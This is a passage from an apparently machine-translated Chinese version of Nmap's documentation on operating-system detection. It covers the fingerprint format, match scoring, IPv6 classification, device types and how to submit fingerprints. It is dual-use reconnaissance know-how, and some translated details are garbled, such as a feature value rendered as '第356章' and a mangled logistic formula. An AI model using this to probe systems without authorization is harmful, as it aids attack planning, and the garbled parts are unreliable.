)。与大多数测试不同,这些测试以十进制格式打印。如果 Nmap 无法找到打开或关闭的端口,则测试包含一个空值(即使 Nmap 猜测可能关闭的端口并在那里发送探测)。 -
关闭 UDP 端口 (
CU
)。这与 相同CT
,但适用于 UDP。由于大多数扫描不包括 UDP,因此该测试的值通常为空。 -
私有IP空间 (
PV
) 表示Y
目标是否位于10.0.0.0/8
、172.16.0.0/12
或192.168.0.0/16
专用网络 ( RFC 1918 ) 上。否则就是N
。 -
网络距离 (
DS
) 是到目标的网络跳距离。如果0
目标是本地主机,1
如果直接连接在以太网网络上,或者如果由 Nmap 发现的确切距离。如果距离未知,则省略该测试。 -
距离计算方法 (
DC
) 表示如何计算网络距离 (DS
)。它可以采用以下值:L
for localhost (DS=0
);D
对于直接子网连接 (DS=1
);I
对于基于 ICMP 响应的 TTL 计算U1
操作系统检测探针;并T
计算 traceroute酒花。存在这个测试是因为中间机器改变 TTL 时,ICMP TTL 计算可能不正确;它区分了真正直接连接的主机和可能只是误算的主机。 -
好的结果 (
G
) 是Y
如果条件和结果看起来足够好,可以将此指纹提交给 Nmap.Org。N
不然。除非您通过启用调试 (-d
) 或极端冗长 (-vv
)来强制它们,否则G=N
Nmap 不会打印指纹。 -
目标 MAC 前缀 (
M
) 是目标 MAC 地址的前六个十六进制数字,对应于供应商名称。不包括前导零。除非目标位于同一以太网网络 (DS=1
) 上,否则此字段将被省略。 -
操作系统扫描时间 (
TM
) 以 Unix time_t 格式(十六进制)提供。 -
Nmap 编译的平台在
P
现场给出。
解码参考指纹格式
当 Nmap 扫描目标以创建主题指纹时,它会尝试将该数据与数据库中的数千个 参考指纹进行 匹配nmap-os-db
。参考指纹最初是由一个或多个对象指纹形成的,因此有很多共同点。它们确实有一些额外的信息来促进匹配,当然还有描述它们所代表的操作系统。例如,我们刚刚看到的主题指纹可能构成示例 8.5中参考指纹的基础。
指纹 Apple Mac OS X Server 10.2.8 (Jaguar) (Darwin 6.8, PowerPC) 苹果类 | Mac OS X | 10.2.X | 一般用途 CPE cpe:/o:apple:mac_os_x:10.2.8 序列(SP=FB-111%GCD=1-6%ISR=104-10E%TI=I%II=I%SS=S%TS=1) OPS(O1=M5B4NW0NNT11%O2=M5B4NW0NNT11%O3=M5B4NW0NNT11%O4=M5B4NW0NNT11%O5=M5B4NW0NNT11%O6=M5B4NNT11) 赢(W1=8218%W2=8220%W3=8204%W4=80E8%W5=80F4%W6=807A) ECN(R=Y%DF=Y%T=3B-45%TG=40%W=832C%O=M5B4NW0%CC=N%Q=) T1(R=Y%DF=Y%T=3B-45%TG=40%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=Y%DF=Y%T=3B-45%TG=40%W=807A%S=O%A=S+%F=AS%O=M5B4NW0NNT11%RD=0%Q=) T4(R=Y%DF=Y%T=3B-45%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T5(R=Y%DF=N%T=3B-45%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) T6(R=Y%DF=Y%T=3B-45%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T7(R=Y%DF=N%T=3B-45%TG=40%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=) U1(DF=N%T=3B-45%TG=40%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=0%RUD=G) IE (DFI = S% T = 3B-45% TG = 40% CD = S)
一些差异立即显而易见。没有进行换行,因为这仅对提交过程很重要。该 SCAN
行也被删除,因为该信息描述了特定的扫描实例,而不是一般的目标操作系统特征。
您可能还注意到了新行 、 Fingerprint
、Class
和 CPE
,它们对于该参考指纹来说是新的。一个更微妙的变化是一些单独的测试结果已被删除,而另一些则已通过逻辑表达式进行了增强。
自由格式的操作系统描述(Fingerprint
行)
该Fingerprint
行首先用作令牌,因此 Nmap 知道开始加载新指纹。每个指纹只有一条这样的线。紧跟在 Fingerprint
令牌(和空格)之后的是由该指纹表示的操作系统的文本描述。这些是自由格式的英文文本,专为人类解释而不是机器解析器而设计。然而,Nmap 试图坚持使用一致的格式,包括供应商、产品名称和版本号。可以在此字段中找到之前讨论的版本号范围和逗号分隔的替代方案。这里有些例子:
指纹 HP LaserJet 打印机(4050、4100、4200 或 8150) 指纹 Sun Solaris 9 或 10 (SPARC) 指纹 Linux 2.6.22 - 2.6.24 指纹 Microsoft Windows Server 2003 SP1 指纹 Microsoft Windows XP Professional SP1 指纹美能达Di550激光打印机
在理想的世界中,每个不同的操作系统都将对应一个唯一的指纹。不幸的是,操作系统供应商并没有让我们的生活变得如此轻松。根据使用的网络驱动程序、用户可配置选项、补丁级别、处理器架构、可用 RAM 量、防火墙设置等,相同的操作系统版本可能会产生不同的指纹。有时指纹会无缘无故地不同。虽然参考指纹格式具有处理细微变化的表达式语法,但当发现重大差异时,通常更可取的是为同一操作系统创建多个指纹。
正如一个操作系统通常需要多个指纹一样,有时一个指纹可以描述多个系统。如果两个系统对每一个测试都给出完全相同的结果,Nmap 就别无选择,只能提供两者作为可能性。这通常有几个原因。一是供应商可能会发布其操作系统的新版本,而无需对其 IP 堆栈进行任何重大更改。也许他们在系统的其他地方做了重要的改变,或者他们什么都做不了,只是想通过卖 “升级”赚一大笔钱。在这些情况下,Nmap 通常会打印一个范围,例如Apple Mac OS X 10.4.8 - 10.4.11
或Sun Solaris 9 or 10
。
重复指纹的另一个原因是共享通用操作系统的嵌入式设备。例如,一个供应商的打印机和另一个供应商的以太网交换机实际上可能共享第三个供应商的嵌入式操作系统。在许多情况下,设备之间的细微差异仍然可以区分它们。但有时 Nmap 必须简单地列出一组可能性,例如 Cisco 1200-series WAP, HP ProCurve 2650 switch, or Xerox Phaser 7400N or 8550DT printer
.
在某些情况下,许多供应商使用自己的品牌名称和型号为完全相同的 OEM 设备贴上私人标签。再次,Nmap 必须简单地列出可能性。但区分这些并不重要,因为它们基本上都是相同的设备。
提示 | |
---|---|
如果 Nmap 打印的描述(来自该 |
设备和操作系统分类(Class
行)
虽然该Fingerprint
描述非常适合直接阅读 Nmap 输出的分析人员,但许多人从其他脚本运行 Nmap 并 应用程序。这些应用程序可能会使用操作系统信息来检查特定于操作系统的漏洞,或者只是创建一个漂亮的图表或报告。
出于这些目的,存在更结构化的操作系统分类系统。当有多个匹配时,它也很有用。如果您只获得部分指纹(可能在目标上没有找到开放端口,因此必须跳过许多测试),它可能会匹配 nmap-os-db
数据库中的数十种不同指纹。打印所有这些指纹的详细信息将是一团糟。但得益于 OS 分类,Nmap 可以找到共性。如果所有匹配项都被归类为 Linux,Nmap 将简单地打印目标是 Linux 机器。
每个指纹都有一条或多Class
条线。每个都包含四个定义明确的字段:供应商、操作系统系列、操作系统世代和设备类型。字段由管道符号 ( |
) 分隔。
供应商 是制造操作系统或设备的公司。示例有Apple
、Cisco
、Microsoft
和Linksys
。对于没有控制供应商的社区项目(例如 OpenBSD 和 Linux),供应商列会重复 OS 系列名称。
操作系统系列 包括Windows
、 Linux
、IOS
(用于 Cisco 路由器)、 Solaris
和 等产品OpenBSD
。还有数百种使用未公开操作系统的设备,例如交换机、宽带路由器和打印机。当底层操作系统不清楚时,embedded
使用。
操作系统生成 是对操作系统的更详细的描述。Linux 代包括2.4.X
和 2.6.X
,而 Windows 代包括 95
、98
、Me
、 2000
、XP
和 Vista
. FreeBSD 使用 和 等4.X
代 5.X
。对于我们没有细分为几代的晦涩操作系统(或者只要将操作系统简单地列为embedded
),此字段留空。
设备类型 是一个宽泛的分类,例如 router
、printer
或 game console
, 并且 本章前面已经讨论过。可用于几乎任何事情的通用操作系统(例如Linux
和)被归类为.Windows
general purpose
每个字段可能只包含一个值。当指纹代表这四个字段的多个可能组合时,Class
将使用多行。 示例 8.6提供了一些示例 Fingerprint
行及其相应的分类。
如果这些示例还不够,可以在http://nmap.org/data/os-classes.txt维护最新版本的 Nmap 识别的分类列表。
CPE 名称(CPE
行)
CPE
行给出了行的通用平台枚举等价物Class
。每个 Class
都可以跟几 CPE
行(CPE
行总是 “属于”Class
紧接在它们之前的行)。通常一个 CPE 名称来描述操作系统,另一个来描述硬件平台。CPE 语法和含义的描述可以在 名为“通用平台枚举 (CPE)”的部分中找到。
某些 CPE 名称后面的auto
标志不是 CPE 的一部分;它仅由维护脚本在内部使用,以指示 CPE 名称是从其他信息自动生成的,而不是手动插入的。
测试表达式
测试表达式不必在主题和参考指纹之间改变,但几乎总是如此。参考指纹通常需要稍微概括以匹配特定操作系统的所有实例,而不仅仅是您正在扫描的机器。例如,一些 Windows XP 机器F424
向 T1
探测器返回 Window 大小,而其他机器返回 FAF0
. 这可能是由于正在使用的特定以太网设备驱动程序,或者可能有多少内存可用。无论如何,无论使用哪种窗口大小,我们都希望检测 Windows XP。
概括指纹的一种方法是简单地删除产生不一致结果的测试。从参考指纹中删除所有窗口大小测试,系统将匹配该打印,无论它们使用什么大小。缺点是这样会丢失很多重要信息。如果特定系统曾经发送的唯一窗口大小是F424
和 FAF0
,那么您真的只想允许这两个值,而不是所有 65,536 种可能性。
虽然在某些情况下删除测试是多余的,但在其他情况下它很有用。测试R=Y
值,意味着有一个响应,通常 在它们被添加到之前从U1
和测试中删除。这些探测通常被防火墙阻止,因此缺少响应不应计入操作系统匹配。IE
nmap-os-db
当不希望删除测试时,Nmap 提供了一种表达式语法,允许测试匹配多个值。例如,W=F424|FAF0
将允许这两个 Windows XP 窗口值而不允许任何其他值。 表 8.8显示了测试值中允许的运算符。
录取 | 象征 | 例子 | 描述 |
---|---|---|---|
要么 | | |
O=|ME|MNNTNW |
如果相应的主题指纹测试采用任何子句的值,则匹配。在此示例中,初始管道符号意味着空选项列表也将匹配。 |
范围 | - |
SP=7-A |
如果主题指纹的相应测试产生的数值落在指定范围内,则匹配。 |
比...更棒 | > |
SP=>8 |
如果主题指纹的相应测试产生的数值大于指定的数值,则匹配。 |
少于 | < |
GCD=<5 |
如果主题指纹的相应测试产生小于指定值的数值,则匹配。 |
表达式可以组合运算符,例如,如果介于 1 和 6、正好 64、正好 256 或大于 1024 之间GCD=1-6|64|256|>1024
,则匹配。GCD
IPv6 指纹
由于 IPv6 分类引擎的工作方式不同,它具有不同的指纹。没有参考指纹;相反,一组先前确定的训练示例通过训练算法运行,该算法输出一个大的系数矩阵,一个用于每个特征和 OS 类。主题指纹使用与 IPv4 相同的 ASCII 铠装格式,如 示例 8.8,“IPv6 指纹”中所示。
OS:扫描(V = 5.61TEST1% E = 6% D = 9/27% OT = 22% CT = 443% CU = 42192% PV = N% DS = 5% DC = T% G = Y% TM 操作系统:=4E82908D%P=x86_64-unknown-linux-gnu)S1(P=6000{4}28063cXX{32}0016c1b002 操作系统:bbd213c57562f5a01212e0f8880000020404c40402080a5be177f2ff{4}01030307%ST= 操作系统:0.021271%RT=0.041661)S2(P=6000{4}28063cXX{32}0016c1b108d7da47c57562f6a0 操作系统:1212e0e9d20000020404c40402080a5be17856ff{4}01030307%ST=0.121251%RT=0.14 操作系统:4586)S3(P=6000{4}28063cXX{32}0016c1b21029efebc57562f7a01212e0cf63000002 操作系统:0404c40101080a5be178ceff{4}01030307%ST=0.221232%RT=0.268086)S4(P=6000{4 操作系统:}28063cXX{32}0016c1b31553d32dc57562f8a01212e0e3a40000020404c40402080a5b 操作系统:e1791eff{4}01030307%ST=0.321237%RT=0.340261)S5(P=6000{4}28063cXX{32}001 操作系统:6c1b41ae90087c57562f9a01212e0b04f0000020404c40402080a5be17982ff{4}01030 操作系统:307%ST=0.421246%RT=0.441253)S6(P=6000{4}24063cXX{32}0016c1b5207baa83c57 操作系统:562fa901212e014690000020404c40402080a5be179e6ff{4}%ST=0.521245%RT=0.541 操作系统:755)IE1(P=6000{4}803a3cXX{32}810927cbabcd00{122}%ST=0.565533%RT=0.59350 操作系统:5)U1(P=6000{3}01643a3cXX{32}0104be5300{4}6001234501341131XX{32}c1a9a4d0 操作系统:013482ff43{300}%ST=0.713832%RT=0.734263)TECN(P=6000{4}20063cXX{32}0016c 操作系统:1b62f0c74d8c57562fb80121310241c0000020404c40101040201030307%ST=0.763567 操作系统:%RT=0.784838)T2(P=6000{4}583a3cXX{32}0101ca5600{4}6001234500280632XX{32 操作系统:}c1b70016c57562fb85549cefa00000808c0d000003030a0102040109080aff{4}00{4} 操作系统:0402%ST=0.813012%RT=0.833344)T3(P=6000{4}583a3cXX{32}0101ca6000{4}60012 操作系统:34500280628XX{32}c1b80016c57562fc2b8e3db7a02b0100445f000003030a01020401 操作系统:09080aff{4}00{4}0402%ST=0.863293%RT=0.881198)T4(P=6000{4}14063cXX{32}00 操作系统:16c1b93a67fc8a00{4}500400000c7c0000%ST=0.912394%RT=0.93247)T5(P=6000{4} 操作系统:14063cXX{32}01bbc1ba00{4}c57562ff5014000019430000%ST=0.96164%RT=0.98347 操作系统:5)T6(P=6000{4}14063cXX{32}01bbc1bba9e336d500{4}50040000610e0000%ST=1.01 操作系统:164%RT=1.03554)T7(P=6000{4}583a3cXX{32}0101ca5800{4}6001234500280630XX{ 操作系统:32}c1bc01bbc5756300095eb241a029ffffec59000003030f0102040109080aff{4}00{ 操作系统:4}0402%ST=1.06173%RT=1.07961)EXTRA(FL=12345)
例 8.9,“一个清理过的 IPv6 指纹”显示了这个指纹解包后的样子。大多数探针都被省略了,因为它们都具有相同的格式。
扫描(V=5.61TEST1%E=6%D=9/27%OT=22%CT=443%CU=42192%PV=N%DS=5%DC=T%G=Y%TM4E82908D% P=x86_64-unknown-linux-gnu) S1(P=6000{4}28063cXX{32}0016c1b002bbd213c57562f5a01212e0f8880000020404c4040208 0a5be177f2ff{4}01030307%ST=0.021271%RT=0.041661) 额外(FL=12345)
该SCAN
行与 IPv4 指纹中的含义相同。伪测试E=6
表明这是一个 IPv6 指纹。
然后,每个收到响应的探测器都有一行。其中每一个都包含三个键:
P
-
数据包的内容,十六进制和游程编码。每当两位数字后跟一个大括号中的数字时,这意味着重复该字节给定的次数。例如,
00{4}
是 的缩写00000000
。这些字符XX
被放置在源地址和目标地址的位置,它们是私有的,无论如何对于训练分类器没有用处。 ST
-
发送数据包的时间,以秒为单位,相对于操作系统检测开始的时间。
RT
-
收到数据包的时间。
该EXTRA
行存储不能仅从数据包内容中确定的任何其他信息。FL
密钥存储在扫描期间发送的流标签。 这将始终是12345
,除了某些操作系统不允许设置流标签并始终发送 00000
。
处理上述指纹时,将其转换为内部表示,如下所示。每个值都是传递给分类器的特征向量的一个元素。它们对应于“所有功能列表”一节中列出的功能。
40 S1.PLEN
0 S1.TC
40 S2.PLEN
0 S2.TC
40 S3.PLEN
0 S3.TC
40 S4.PLEN
0 S4.TC
40 S5.PLEN
0 S5.TC
36 S6.PLEN
0 S6.TC
128 IE1.PLEN
0 IE1.TC
未知的 IE2.PLEN
未知的 IE2.TC
未知NS.PLEN
未知NS.TC
第356章
0 U1.TC
<Many more lines omitted.>
UNKNOWN
值通常意味着没有收到对相关探测的响应。UNKNOWN
在分类之前将值映射到 -1。
设备类型
如“设备和操作系统分类(Class
行)”一节所述,每个参考指纹都按一种或多种设备类型进行分类。此列表包含 Nmap 使用的设备类型以及将设备分类为每种类型的标准。这些相同的规则用于在版本检测中对设备类型进行分类;见d的描述//“match
指令”部分 中的字段。
- 一般用途
-
此类别包含 Linux 和 Windows 等通用操作系统。在 nmap-service-probes 文件中,此类由缺少 ad// 字段指示。
- 桥
-
网桥将两个或多个子网合并为一个。对于网桥,这发生在比路由器更低的级别。此类别还包括以太网到串行网桥之类的东西。
- 宽带路由器
-
此类设备通过电缆、ADSL、光纤等将网络连接到 Internet。其中一些设备提供网络地址转换、防火墙、端口转发或其他服务。
- 防火墙
-
防火墙控制允许哪些流量进出网络。有些还具有其他功能。此类别不包括碰巧带有防火墙的通用操作系统,但它确实包括专为仅用作防火墙而构建的操作系统发行版。
- 游戏机
-
像 Xbox 或 PlayStation 这样的视频游戏机。
- 中心
-
集线器通过重新广播所有流量来加入网络段。集线器与交换机不同,交换机有选择地将数据包仅传输到相关目的地。
- 负载均衡器
-
将入站流量分配到多个设备以减轻这些设备上的负载的设备。
- 媒体设备
-
此类别包括各种视听设备,包括便携式音乐播放器、家庭音响系统、电视和投影仪。
- 集团电话
-
私人小交换机或 PBX 在私人组织内路由电话呼叫并将它们连接到公共电话网络或 VoIP。
- 掌上电脑
-
一台掌上电脑。也是电话的设备属于“电话”类别。
- 电话
-
不是 VoIP 电话的具有网络功能的电话。此类别中的设备通常是手机。
- 电源设备
-
其他电源设备,如不间断电源和浪涌保护器。
- 打印机
-
支持网络的打印机,包括带有嵌入式打印服务器的打印机。
- 打印服务器
-
打印服务器将打印机连接到网络。包含自己的打印服务器的打印机转而进入“打印机”类别。
- 代理服务器
-
任何类型的代理,包括 Web 代理和其他缓存数据或理解高级协议的服务器。
- 远程管理
-
允许远程监控或管理服务器或其他设备的设备。
- 路由器
-
路由器连接多个网络。它们不同于集线器和交换机,因为它们在不同网络之间路由数据包,而不是扩展一个网络。
- 安全杂项
-
任何不属于“防火墙” 类别的安全设备都属于该类别。这包括入侵检测和预防系统。
- 专门
-
包罗万象的类别。如果设备不属于其他类别之一,则它是专用的。此类别中的示例多种多样,包括时钟、示波器、气候传感器等。
- 存储杂项
-
数据存储设备,例如磁带机和网络附加存储设备。
- 转变
-
通过选择性地重新广播数据包来扩展网络的设备。交换机不同于广播所有数据包的集线器。
- 电信杂项
-
非 PBX 电话系统使用的设备,例如语音邮件和 ISDN 系统。
- 终端
-
带有键盘和显示器的设备,主要目的是与终端服务器或大型机直接通信。
- 终端服务器
-
通过网络向客户提供终端设备的设备。
- 网络电话适配器
-
在 IP 语音 (VoIP) 协议和普通电话流量之间进行转换的设备。也可以转换不同的VoIP协议。
- 网络电话
-
支持 VoIP 协议的电话。
- 无线接入点
-
无线接入点提供到网络的无线连接。大多数使用无线电技术,如 802.11b,但有些使用红外线或其他东西。也可以归入另一类的设备,如无线宽带路由器,归入 WAP 类别,因为 WAP 需要特殊的网络考虑。
- 摄像头
-
存储或传输图片或视频的任何类型的相机。这包括从消费者网络摄像头到安全系统摄像头的所有内容
操作系统匹配算法
IPv4 匹配
Nmap 检测匹配的算法相对简单。它需要一个主题指纹,并针对 中的每个参考指纹对其进行测试 nmap-os-db
。
在针对参考指纹进行测试时,Nmap 会依次查看来自主题指纹的每个探测类别行(例如 SEQ
或T1
)。参考指纹中不存在的任何探测线都将被跳过。当参考指纹确实有匹配线时,将它们进行比较。
对于探测线比较,Nmap 依次检查主题类别线中的每个单独测试(R
、DF
、W
等)。参考线中不存在的任何测试都 将被跳过。每当找到匹配的测试时,Nmap 将 PossiblePoints
累加器增加分配给该测试的点数。然后比较测试值。如果参考测试的值为空,则主题测试仅在其值也为空时才匹配。如果参考测试只是一个普通的字符串或数字(没有运算符),主题测试必须完全匹配它。如果引用字符串包含运算符(|
、 -
、>
或 <
),则主题必须匹配,如“测试表达式”一节中所述. 如果测试匹配, NumMatchPoints
累加器将增加测试的点值。
一旦所有的探测线都经过指纹测试,NmapNumMatchPoints
除以 PossiblePoints
. 结果是描述对象指纹与特定参考指纹匹配的概率的置信因子。例如,在非常接近1.00
时是完美匹配 (95%)。0.95
测试点值由 中的一个特殊 MatchPoints
条目(可能只出现一次) 分配nmap-os-db
。 此条目看起来很像普通指纹,但它不是为每个测试提供结果,而是为每个测试提供点值(非负整数)。结构中列出的测试MatchPoints
仅在与它们列出的相同测试中找到时才适用。因此,为 W
(Window size) 测试提供的值T1
不会影响 中的W
测试T3
。可以通过将点值指定为 0 来有效地禁用测试。示例 8.10MatchPoints
中给出了示例结构。
MatchPoints
结构_比赛积分 序列(SP=25%GCD=75%ISR=25%TI=100%CI=50%II=100%SS=80%TS=100) OPS(O1=20%O2=20%O3=20%O4=20%O5=20%O6=20) 获胜(W1=15%W2=15%W3=15%W4=15%W5=15%W6=15) ECN(R=100%DF=20%T=15%TG=15%W=15%O=15%CC=100%Q=20) T1(R=100%DF=20%T=15%TG=15%S=20%A=20%F=30%RD=20%Q=20) T2(R=80%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20) T3(R=80%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20) T4 (R = 100% DF = 20% T = 15% TG = 15% W = 25% S = 20% A = 20% F = 30% O = 10% RD = 20% Q = 20) T5(R=100%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20) T6(R=100%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20) T7(R=80%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20) U1(R=50%DF=20%T=15%TG=15%TOS=0%IPL=100%UN=100%RIPL=100%RID=100%RIPCK=100%RUCK=100%RUL=100% RUD=100) IE (R = 50% DFI = 40% T = 15% TG = 15% TOSI = 0% CD = 100% SI = 100% DLI = 100)
一旦评估了所有参考指纹,Nmap 会对它们进行排序并打印完美匹配(如果没有太多)。如果没有完美匹配,但有些非常接近,Nmap 可能会打印那些。猜测更有可能被打印,如果 --osscan-guess
给出了选项。
IPv6 匹配
IPv6 OS 分类使用一种称为逻辑回归的机器学习技术。Nmap 使用 LIBLINEAR 库来进行这种分类。该过程从大量训练示例开始,这些训练示例是 Nmap 用户提交的指纹并用他们的操作系统仔细标记。每个训练样本都由一个特征向量表示,可以将其视为该 操作系统在多维空间中的“坐标” 。训练算法计算每个 OS 类的成员和每个其他类的成员之间的最佳边界。然后它将这些边界中的每一个编码为一个向量。每个操作系统类都有一个不同的向量。
匹配时,引擎依次获取这些边界向量中的每一个,并计算它与特征向量之间的点积。结果是一个实数。数字越高(越正),匹配的可能性就越大。负数不太可能匹配。使用逻辑公式100 / (1 + e x )将数字x从范围 [−∞, ∞] 映射到 [0, 100] 。(这就是“逻辑回归”名称的来源。)
一般来说,得分最高的 OS 类别是最有可能匹配的,但在从未见过的操作系统的情况下,可能有很高的分数但匹配不准确。因此,第二个 “新奇检测” 算法检查观察到的指纹是否与该类的其他代表非常不同。该算法找到从观察到的特征向量到类成员的特征向量的平均值的欧几里得距离,在每个维度上按该特征方差的倒数进行缩放。与已经看到的特征向量相似的特征向量的新颖性较低,而不同的特征向量的新颖性较高。
具有最高分数的 OS 类被报告为匹配,但仅当新颖性低于 15 时。此外,如果两个最高 OS 类的分数相差小于 10%,则该分类被视为不明确且不成功匹配. 对 Mac OS X 10.6.8 运行的示例逻辑和新颖性分数显示在表 8.9,“OS 对 Mac OS X 的猜测”中。
分数 | 新奇 | 操作系统类 |
---|---|---|
61.05% | 1.00 | Apple Mac OS X 10.6.8 - 10.7.0(雪豹 - 狮子)(达尔文 10.8.0 - 11.0.0) |
10.08% | 18.04 | Apple Mac OS X 10.7 (Lion) (Darwin 11.1.0) |
9.97% | 24.06 | Apple Mac OS X 10.6.8(雪豹)(达尔文 10.8.0) |
和) | ||
9.43% | 19.26 | Apple Mac OS X 10.7.2 (Lion) (Darwin 11.2.0) |
5.99% | 23.63 | Apple Mac OS X 10.4.11 (Tiger) (Darwin 8.11.1) |
2.28% | 34.67 | 苹果iPhone手机(iOS 4.2.1) |
2.19% | 35.07 | Apple Mac OS X 10.4.7 (Panther) (Apple TV 3.0.2) |
2.19% | 57.63 | HP ProCurve 2520G 交换机 |
2.04% | 37.03 | Apple Mac OS X 10.6.8(雪豹)(达尔文 10.8.0) |
2.03% | 68.55 | Apple Mac OS X 10.6.8(雪豹)(达尔文 10.8.0) |
0.59% | 79.61 | FreeBSD 6.1-发布 |
没有像 IPv4 那样包含 IPv6 操作系统数据库的单独数据文件。该数据库存储在 C++ 源代码文件 FPModel.cc
中。该文件包含缩放常数(用于将特征值大致置于 [0, 1] 范围内)和上述边界向量。
处理错误识别和未识别的主机
虽然 Nmap 拥有庞大的数据库,但它无法检测到所有内容。Nmap 没有机会检测到大多数烤面包机、冰箱、椅子或汽车,因为它们没有 IP 堆栈。然而,鉴于连接设备的列表不断扩大,我不会排除其中任何一个。Nmap 指纹数据库包括大量游戏机、电话、温度计、相机、互动玩具和媒体播放器。
拥有 IP 地址是必要的,但不足以保证正确的指纹。Nmap 可能仍然猜错或根本无法产生任何猜测。以下是一些改进结果的建议:
- 升级到最新的 Nmap
-
许多 Linux 发行版和其他操作系统都带有古老版本的 Nmap。Nmap OS 数据库几乎在每个版本中都得到了改进,因此通过运行 nmap -V检查您的版本号,然后将其与http://nmap.org/download.html中的最新版本进行比较。在大多数平台上安装最新版本只需几分钟。
- 扫描所有端口
-
当 Nmap 检测到针对某个主机的操作系统检测问题时,它会发出警告。最常见的一个是: “警告:操作系统检测的可靠性将大大降低,因为我们没有找到至少 1 个打开和 1 个关闭的 TCP 端口”。可能这些端口在机器上确实不可用,但是重试扫描
-p-
以扫描所有端口可能会发现一些对操作系统检测有响应的端口。进行 UDP 扫描 (-sU
) 也可以提供更多帮助,尽管它会大大减慢扫描速度。 - 尝试更激进的猜测
-
如果 Nmap 说没有足够接近的匹配项可以打印,则可能有问题。也许防火墙或 NAT 框正在修改探测或响应数据包。这可能会导致混合情况,其中一组测试看起来像是来自一个操作系统,而另一组看起来完全不同。添加
--osscan-guess
可能会提供有关正在运行的内容的更多线索。 - 从不同位置扫描
-
您的数据包必须经过的网络跃点越多才能到达其目标,网络设备修改(或丢弃)探测或响应的机会就越大。NAT 网关、防火墙,尤其是端口转发可能会混淆操作系统检测。如果您正在扫描负载平衡设备的 IP,它只是将数据包重定向到不同的服务器网络,甚至不清楚 “正确”的操作系统检测结果是什么。
许多 ISP将流量过滤到“坏”端口,而其他 ISP 则使用透明代理将某些端口重定向到他们自己的服务器。您认为在您的目标上打开的端口 25 或 80 实际上可能被您的 ISP 欺骗以连接到 ISP 代理服务器。另一个可能混淆操作系统检测的行为是防火墙欺骗 TCP 重置数据包,就好像它们来自目标主机一样。这在端口 113 (identd) 中尤为常见。 重置欺骗和透明代理通常可以通过注意到目标网络上的每台机器似乎都表现出这种行为来检测 - 即使是那些看起来似乎已经关闭的机器。如果您检测到任何此类废话,请务必从扫描中排除这些端口,以免它们污染您的结果。您可能还想从完全不同的网络位置尝试。离目标越近,结果就越准确。在完美的情况下,您将始终从目标所在的同一网段扫描目标。
偶尔 Nmap 会报告一个你知道是错误的操作系统猜测。错误通常很小(例如将运行 Linux 2.4.16 的机器报告为“ Linux kernel 2.4.8 - 2.4.15 ”),但也有 Nmap 完全关闭的报告(例如将您的 Web 服务器报告为 AppleWriter打印机)。当您遇到此类问题(轻微或重大)时,请报告,以便所有人受益。Nmap DB 如此全面的唯一原因是成千上万的用户每个人都花了几分钟时间来提交新信息。请遵循以下说明:
- 拥有最新版本的 Nmap
-
运行nmap -V以确定您拥有的 Nmap 版本。您不需要运行绝对最新版本的 Nmap(尽管那将是理想的),但请确保您的版本是 4.20 或更高版本,因为我们只需要第二代操作系统指纹,而不是以前版本产生的旧样式。您可以通过访问http://nmap.org/download.html确定 Nmap 的最新可用版本。如果您升级,您可能会发现错误识别已被修复。
- 绝对确定你知道什么在运行
-
无效的“更正”会损坏 OS DB。如果您不确定远程计算机上正在运行的确切内容,请在提交之前查明。
- 生成指纹
-
运行命令nmap -O -sV -T4 -d
<target>
,<target>
错误识别的系统在哪里。查看操作系统检测结果以确保错误识别仍然存在。如果您正在通过 IPv6 扫描目标系统,请-6
同时添加该选项。如果主机操作系统结果的 Nmap 输出显示为
(JUST GUESSING)
, 则预计结果可能会有些偏差。在这种情况下不要提交更正。否则, map 命令应该产生包括 line 的结果
OS fingerprint:
。下面是指纹(每行都以 开头的一系列行OS:
)。 - 检查操作系统检测是否适用于其他主机
-
尝试扫描您知道具有不同操作系统的目标网络上的其他几个主机。如果未正确检测到它们,则可能是系统之间存在一些网络阻塞,导致数据包损坏。
如果您已经做到了这一点并且仍然能够提交,那对您有好处!请在http://insecure.org/cgi-bin/submit.cgi?corr-os提交信息
当 Nmap 找不到匹配并打印指纹时
当 Nmap 检测到 OS 检测条件看起来很理想但没有找到完全匹配时,它会打印出如下消息:
没有与主机匹配的操作系统(如果您知道其上运行的是什么操作系统,请参阅 http://nmap.org/submit/ ). TCP/IP 指纹: OS:SCAN(V=5.05BETA1%D=8/23%OT=22%CT=1%CU=42341%PV=N%DS=0%DC=L%G=Y%TM=4A91CB 操作系统:90% P = i686-pc-linux-gnu) SEQ (SP = C9% GCD = 1% ISR = CF% TI = Z% CI = Z% II = I% TS = A) OPS (O1 操作系统:=M400CST11NW5%O2=M400CST11NW5%O3=M400CNNT11NW5%O4=M400CST11NW5%O5=M400CS 操作系统:T11NW5%O6=M400CST11)WIN(W1=8000%W2=8000%W3=8000%W4=8000%W5=8000%W6=8000) 操作系统:ECN(R=Y%DF=Y%T=40%W=8018%O=M400CNNSNW5%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A =S+ 操作系统:%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=8000%S=O%A=S+%F=AS% O=M400CST11NW 操作系统:5%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q= )T5(R=Y%DF=Y%T=40%W 操作系统:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A =Z%F=R%O=%RD=0%Q=) 操作系统:T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF= N%T=40%IPL=164%U 操作系统:N=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
